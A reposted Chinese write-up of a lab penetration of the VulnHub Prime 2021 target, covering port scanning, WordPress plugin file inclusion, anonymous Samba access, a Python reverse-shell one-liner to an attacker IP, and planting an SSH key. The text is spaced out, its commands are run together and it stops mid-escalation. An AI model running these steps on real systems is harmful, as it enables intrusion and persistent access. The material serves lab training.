搜索

[18564] 2021-05-26_记一次Samba服务器渗透

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-05-26_记一次Samba服务器渗透 记 一 次   S a m b a   服 务 器 渗 透 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 5 - 2 6 前 言 前 言 本 次 渗 透 皆 为 靶 机 环 境 ， 实 则 为 上 一 篇 靶 机   P r i m e   l e v e l   1   的 后 续 。 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ • 靶 场 地 址 ： h t t p s : / / w w w . v u l n h u b . c o m / e n t r y / p r i m e - 2 0 2 1 - 2 , 6 9 6 / D e s c r i p t i o n T h i s   v m   w i l l   g i v e   y o u   s o m e   r e a l   c o n c e p t   t h a t   i s   n e e d f u l l   f o r   a   g l o b a l   l e v e l   c e r t i f i c a t i o n s .   A n d   y o u   a r e   g o i n g   t o   e n j o y   t h i s V M   b e c a u s e   o f   t h e r e   i s   a   g o o d   c o m b i n a t i o n   o f   n e t w o r k   a n d   w e b   p e n t e s t i n g .   F o r   a n y   h e l p   c o n t a c t   h e r e h t t p s : / / w w w . h a c k e r c t f . c o m / c o n t a c t - u s   o r   d r o p   a n   e m a i l   t o   s u r a j @ h a c k e r c t f . c o m 本 次 渗 透 涉 及 到 的 关 键 知 识 点 ： • W e b   信 息 收 集 • W o r d P r e s s   g r a c e m e d i a - m e d i a - p l a y e r   插 件 本 地 文 件 包 含 漏 洞 • S a m b a   服 务 器 空 密 码 入 侵 • U b u n t u   1 8 . 0 4   -   ' l x d '   特 权 提 升 • … … 文 中 若 有 不 当 之 处 还 请 各 位 大 佬 多 多 点 评 我 的 博 客 ： h t t p s : / / w h o a m i a n o n y . t o p /
信 息 收 集 信 息 收 集 首 先 使 用   a r p - s c a n   扫 描 资 产 ： i m a g e - 2 0 2 1 0 5 1 9 2 0 2 6 1 7 8 2 3 发 现 目 标 主 机   1 9 2 . 1 6 8 . 2 2 6 . 1 3 3 ， 使 用   n m a p   做 进 一 步 端 口 扫 描 ： i m a g e - 2 0 2 1 0 5 1 9 2 0 2 8 3 7 3 5 4 如 上 图 所 示 ， 开 启 的 服 务 不 少 ， 除 了   2 2   和   8 0   外 ， 还 开 启 了   1 3 9 、 4 4 5   和   1 0 1 2 3 。 其 中   1 3 9   和   4 4 5   上 运 行 的 是   S a m b a   服 务 ， 说 明 目 标 机 可 能 是 一 个   S M B   服 务 器 。 1 0 1 2 3   口 上 是 一 个   P y t h o n   搭 建 的   H T T P   服 务 。 S M B （ 服 务 器 消 息 块 ） 是 一 种 协 议 ， 它 允 许 同 一 网 络 上 的 资 源 共 享 文 件 ， 浏 览 网 络 并 通 过 网 络 进 行 打 印 。 它 最 初 用 于 W i n d o w s ， 但 是 U n i x 系 统 可 以 通 过 S a m b a 使 用 S M B 。 今 天 ， 我 们 将 使 用 名 为 E n u m 4 l i n u x 的 工 具 从 目 标 中 提 取 信 息 ， 并 使 用 s m b c l i e n t 连 接 到 S M B 共 享 并 传 输 文 件 。 a r p - s c a n   - - i n t e r f a c e = e t h 0   1 9 2 . 1 6 8 . 2 2 6 . 0 / 2 4 n m a p   - s C   - s V   - p -   - s T   1 9 2 . 1 6 8 . 2 2 6 . 1 3 3
通 常 ， 服 务 器 上 有 S M B 共 享 驱 动 器 ， 可 以 连 接 到 该 驱 动 器 并 用 于 查 看 或 传 输 文 件 。 对 于 想 要 发 现 敏 感 信 息 的 攻 击 者 来 说 ， S M B 通 常 可 以 是 一 个 很 好 的 起 点 ， 你 会 惊 讶 地 发 现 这 些 共 享 中 有 时 包 含 什 么 。 在 极 少 数 情 况 下 ， 例 如 当 S M B 共 享 目 录 和 W e b 服 务 器 根 目 录 相 同 时 ， 攻 击 者 甚 至 可 能 利 用 这 种 错 误 配 置 来 实 现 代 码 执 行 。 首 先 访 问   8 0   口 的   W e b   服 务 ： i m a g e - 2 0 2 1 0 5 1 9 2 0 3 4 4 0 5 1 5 再 看 看   1 0 1 2 3   口 上 的 服 务 ， 如 下 图 可 以 看 到 这 里 存 在 一 个 文 件 遍 历 ， 可 以 下 载 文 件 ： i m a g e - 2 0 2 1 0 5 1 9 2 0 3 7 0 3 4 8 4 我 们 使 用   w g e t   将   1 0 1 2 3   口 上 的 文 件 全 部 递 归 下 载 下 来 ：
i m a g e - 2 0 2 1 0 5 1 9 2 0 4 1 4 7 3 7 3 然 后 挨 个 查 看 ， 如 下 图 所 示 ， 在   u p l o a d   目 录 里 面 发 现 了 一 个   s h e l l . p h p ： i m a g e - 2 0 2 1 0 5 1 9 2 0 4 4 1 1 7 8 0 显 然 是 个   W e b s h e l l   后 门 ， 接 下 来 我 们 就 要 想 办 法 利 用 这 个   W e b s h e l l 。 由 于   1 0 1 2 3   端 口 上 是   P y t h o n   启 动 的   H T T P   服 务 ， s h e l l . p h p   无 法 被 解 析 ， 所 以 如 果 我 们 要 利 用 的 话 还 需 要 从   8 0   口 进 行 利 用 。 w g e t   - r   h t t p : / / 1 9 2 . 1 6 8 . 2 2 6 . 1 3 3 : 1 0 1 2 3
开 始 攻 击 开 始 攻 击 首 先 我 们 来 对   8 0   口 上 的   W e b   服 务 进 行 目 录 扫 描 ： i m a g e - 2 0 2 1 0 5 1 9 2 0 4 8 0 8 1 1 2 发 现   w p   目 录 ， 访 问   w p   不 出 所 料 是 一 个   w o r d p r e s s ： i m a g e - 2 0 2 1 0 5 1 9 2 0 4 9 0 2 4 5 5 一 看 到   w o r d p r e s s   就 想 到 先 用   w p s c a n   扫 一 波 ， 来 看 看 有 什 么 插 件 漏 洞 ： w p s c a n   - - u r l   h t t p : / / 1 9 2 . 1 6 8 . 2 2 6 . 1 3 3 / w p /   - - e n u m e r a t e   a p   - - a p i - t o k e n   A C 2 4 a G a x x x x x x x x x x x x x x x x x x x x x x x x x x E J J T k 9 j G r Q
i m a g e - 2 0 2 1 0 5 1 9 2 2 2 9 4 2 4 4 9 如 上 图 所 示 发 现 目 标 的   g r a c e m e d i a - m e d i a - p l a y e r   插 件 上 存 在 一 个 本 地 文 件 包 含 漏 洞 ， 根 据 下 面 给 出 的 参 考 信 息 我 们 可 以 在 e x p l o i t - d b   上 找 到 该 漏 洞 的 利 用 方 式 ： i m a g e - 2 0 2 1 0 5 1 9 2 2 3 7 1 9 4 7 5 如 下 图 所 示 成 功 利 用 ： i m a g e - 2 0 2 1 0 5 1 9 2 3 0 3 5 4 0 3 9 并 且 发 现 目 标 主 机 上 存 在 一 个   j a r v e s   用 户 ， 其 主 目 录 为   / h o m e / j a r v e s 。
现 在 我 们 便 可 以 通 过 这 里 的 本 地 文 件 包 含 漏 洞 去 包 含 利 用 之 前 找 到 的   s h e l l . p h p   了 。 但 是 现 在 还 需 要 解 决 一 个 问 题 ， 便 是 s h e l l . p h p   的 路 径 问 题 。 我 们 再 来 回 想 一 下 之 前 做 的 信 息 收 集 ， 当 时 还 发 现 目 标 机 上   1 3 9   和   4 4 5   端 口 上 运 行 着   S a m b a   服 务 ， 直 觉 让 我 觉 得   1 0 1 2 3   端 口 肯 定 与 这 里 的   S a m b a   服 务 有 关 。 我 们 使 用   E n u m 4 l i n u x   工 具 对 目 标 主 机 上 的   S M B   信 息 进 行 枚 举 ： i m a g e - 2 0 2 1 0 5 1 9 2 2 5 3 5 9 3 5 2 如 上 图 所 示 ， 目 标 机 的   S a m b a   服 务 运 行 使 用 空 密 码 进 行 访 问 ， 并 且 开 启 着 三 个 共 享 ： i m a g e - 2 0 2 1 0 5 1 9 2 2 5 5 3 4 1 6 8 现 在 ， 我 们 已 经 使 用   E n u m 4 l i n u x   收 集 了 有 关 目 标 的 一 些 信 息 ， 我 们 可 以 使 用   S m b c l i e n t   工 具 来 与 系 统 上 的   S M B   进 行 实 际 交 互 。 e n u m 4 l i n u x   - A   1 9 2 . 1 6 8 . 2 2 6 . 1 3 3
S m b c l i e n t   是 一 种 用 于 访 问 服 务 器 上   S M B   资 源 的 工 具 ， 就 像   F T P   客 户 端 用 于 访 问 文 件 一 样 。 它 提 供 了 一 个 简 单 的 命 令 行 界 面 ， 如 果 您 完 全 熟 悉 F T P 的 话 ， 可 以 轻 松 使 用 。 • - U ： 标 志 指 定 用 户 名 （ 在 这 种 匿 名 登 录 的 情 况 下 为 空 白 字 符 串 ） • - N ： 指 定 无 密 码 现 在 我 们 只 需 在 提 示 符 下 按   E n t e r   键 即 可 匿 名 登 录 ： i m a g e - 2 0 2 1 0 5 1 9 2 3 0 5 0 2 0 6 0 如 上 图 所 示 ， 连 上 之 后 列 出 当 前 目 录 ， 发 现 和 之 前   1 0 1 2 3   端 口 发 现 的 目 录 结 构 是 完 全 一 样 的 ， 说 明 之 前 的   1 0 1 2 3   口 上 的 服 务 运 行 目 录 就 是 当 前   S a m b a   服 务 的 目 录 ， 猜 测 应 该 是   j a r v e s   用 户 的 主 目 录 。 经 过 测 试 ， 验 证 了 我 的 猜 测 ： i m a g e - 2 0 2 1 0 5 1 9 2 3 0 9 2 3 7 2 0 如 上 图 所 示 ， 成 功 执 行 命 令 。 然 后 尝 试 使 用   b a s h 、 n c   反 弹   S h e l l   皆 失 败 ， 由 于 目 标 主 机 上 存 在   p y t h o n ， 我 们 完 全 可 以 使 用   p y t h o n   来 反 弹   S h e l l ： s m b c l i e n t   / / 1 9 2 . 1 6 8 . 2 2 6 . 1 3 3 / w e l c o m e   - U   ' '   - N / w p / w p - c o n t e n t / p l u g i n s / g r a c e m e d i a - m e d i a - p l a y e r / t e m p l a t e s / f i l e s / a j a x _ c o n t r o l l e r . p h p ? a j a x A c t i o n = g e t I d s & c f g
i m a g e - 2 0 2 1 0 5 1 9 2 3 2 0 2 3 2 6 0 成 功 获 得   S h e l l 。 权 限 提 升 权 限 提 升 在 根 目 录 里 面 没 有 发 现   f l a g ， 那 么   f l a g   一 定 是 在   / r o o t   目 录 里 面 ， 所 以 必 然 的 我 们 要 提 权 。 由 于 我 们 已 经 控 制 了 目 标 机 的   S a m b a ， 我 们 完 全 可 以 在 目 标 机 用 户   j a r v e s   的 主 目 录 里 面 写 入   S S H   秘 钥 进 行 免 密 登 录 。 首 先 在 攻 击 机 本 地 生 成   S S H   秘 钥 ： 然 后 再   s m b c l i e n t   里 面 为   j a r v e s   用 户 创 建 一 个   . s s h   目 录 ， 并 将 刚 才 生 成 的   a u t h o r i z e d _ k e y s   文 件 上 传 上 去 ： p y t h o n 3   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 2 2 6 . 1 2 8 " , 2 3 3 3 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; ' s s h - k e y g e n   - t   r s a c p   ~ / . s s h / i d _ r s a . p u b   . / a u t h o r i z e d _ k e y s m k d i r   . s s h c d   . s s h p u t   a u t h o r i z e d _ k e y s
i m a g e - 2 0 2 1 0 5 2 0 0 0 0 0 1 8 1 4 2 然 后 便 可 以 直 接 连 接   j a r v e s   用 户 的   S S H   了 ： i m a g e - 2 0 2 1 0 5 2 0 0 0 0 1 0 3 2 8 6 首 先 尝 试   S U I D   提 权 ， 搜 了 一 波 并 没 有 什 么 可 以 利 用 的 文 件 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理